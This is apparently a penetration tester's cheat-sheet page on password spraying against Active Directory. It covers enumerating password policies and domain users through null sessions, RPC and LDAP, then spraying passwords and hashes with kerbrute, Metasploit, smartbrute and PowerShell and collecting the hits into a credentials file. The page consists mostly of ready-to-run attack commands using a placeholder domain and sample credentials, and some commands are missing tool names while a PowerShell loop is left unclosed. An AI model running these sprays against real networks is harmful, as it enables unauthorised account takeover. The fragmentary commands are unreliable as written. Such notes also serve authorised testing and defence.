Password Spraying

Password Policy

Enumerate password policy in the domain:

$ cme smb -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess

Example of net accounts output:

Name (EN)Name (RU)Value

Minimum password age (days):

Минимальный срок действия пароля (дней):


Maximum password age (days):

Максимальный срок действия пароля (дней):


Minimum password length:

Минимальная длина пароля:


Length of password history maintained:

Хранение неповторяющихся паролей:


Lockout threshold:

Блокировка после ошибок ввода пароля:


Lockout duration (minutes):

Длительность блокировки (минут):


Lockout observation window (minutes):

Сброс счетчика блокировок через (минут):


Fine-Grained Password Policies

Map FGPPs to the users they're being applied to (need admin privileges by default):

ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
    $appliesTo = $fgpp | select -ExpandProperty AppliesTo
    $objectClass = (Get-ADObject $appliesTo).ObjectClass

    Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $"
    $fgpp | Out-Host

    If ($objectClass -eq "group") {
        Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    ElseIf ($objectClass -eq "user") {
        Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green

When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO properties populated (can be read by a regular user) from the spray list.

Check if exists:

PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Get Domain Users

Non-Authenticated (Null Session)

pageRID Cycling

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.

Another approach is to manually request all users via RPC ($IPC share):

  • CrackMapExec:

$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
  • rpcclient:

$ rpcclient -N -U ''
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
  • net:

$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '' -U '%'
  • smbclient (check):

$ smbclient -N -U '' -L
$ enum4linux -v -a | tee ~/ws/log/enum4linux.out


Query LDAP for all domain user accounts via

$ MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip | tee ~/ws/log/GetADUsers.out

Query LDAP for all domain user accounts via windapsearch:

$ python3 --dc-ip -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt

Query LDAP for all active domain user accounts via go-windapsearch:

$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt

Shadow Spray

$ python3 -d megacorp.local -u snovvcrash  -p 'Passw0rd!' --target-list users.txt --action spray -v



msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run


Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't cause accounts lock out):

$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt

Perform password spraying for discovered accounts:

$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt


$ python2 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp


Spray single hash against a list of users:

$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --dc-ip

Get domain password policy and active users:

$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip

Launch smart password spray with a hash:

$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip kerberos


PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt

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